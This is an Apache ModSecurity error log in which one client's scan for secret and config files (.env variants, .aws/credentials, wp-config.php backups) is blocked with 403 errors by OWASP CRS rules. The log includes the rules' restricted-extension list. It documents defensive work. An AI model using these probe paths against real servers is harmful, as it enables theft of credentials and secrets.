[Wed Feb 19 05:51:50.098878 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywwwAAAAM&quot;]
[Wed Feb 19 05:51:50.099345 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywwwAAAAM&quot;]
[Wed Feb 19 05:51:50.537535 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywygAAAAM&quot;]
[Wed Feb 19 05:51:50.537954 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywygAAAAM&quot;]
[Wed Feb 19 05:51:50.538473 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywygAAAAM&quot;]
[Wed Feb 19 05:51:50.622404 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzQAAAAM&quot;]
[Wed Feb 19 05:51:50.622717 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzQAAAAM&quot;]
[Wed Feb 19 05:51:50.623104 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzQAAAAM&quot;]
[Wed Feb 19 05:51:50.623558 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzQAAAAM&quot;]
[Wed Feb 19 05:51:50.647665 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzgAAAAM&quot;]
[Wed Feb 19 05:51:50.648078 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzgAAAAM&quot;]
[Wed Feb 19 05:51:50.648555 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzgAAAAM&quot;]
[Wed Feb 19 05:51:50.672834 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzwAAAAM&quot;]
[Wed Feb 19 05:51:50.673375 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzwAAAAM&quot;]
[Wed Feb 19 05:51:50.673864 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywzwAAAAM&quot;]
[Wed Feb 19 05:51:50.696946 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw0AAAAAM&quot;]
[Wed Feb 19 05:51:50.697248 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw0AAAAAM&quot;]
[Wed Feb 19 05:51:50.697608 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw0AAAAAM&quot;]
[Wed Feb 19 05:51:50.698066 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw0AAAAAM&quot;]
[Wed Feb 19 05:51:50.931062 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw2QAAAAM&quot;]
[Wed Feb 19 05:51:50.931439 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw2QAAAAM&quot;]
[Wed Feb 19 05:51:50.931984 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw2QAAAAM&quot;]
[Wed Feb 19 05:51:50.981420 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw2wAAAAM&quot;]
[Wed Feb 19 05:51:50.981823 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw2wAAAAM&quot;]
[Wed Feb 19 05:51:50.982341 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11Byw2wAAAAM&quot;]
[Wed Feb 19 05:51:51.008558 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3AAAAAM&quot;]
[Wed Feb 19 05:51:51.008944 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3AAAAAM&quot;]
[Wed Feb 19 05:51:51.009400 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3AAAAAM&quot;]
[Wed Feb 19 05:51:51.033482 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:80/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3QAAAAM&quot;]
[Wed Feb 19 05:51:51.033848 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3QAAAAM&quot;]
[Wed Feb 19 05:51:51.034350 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw3QAAAAM&quot;]
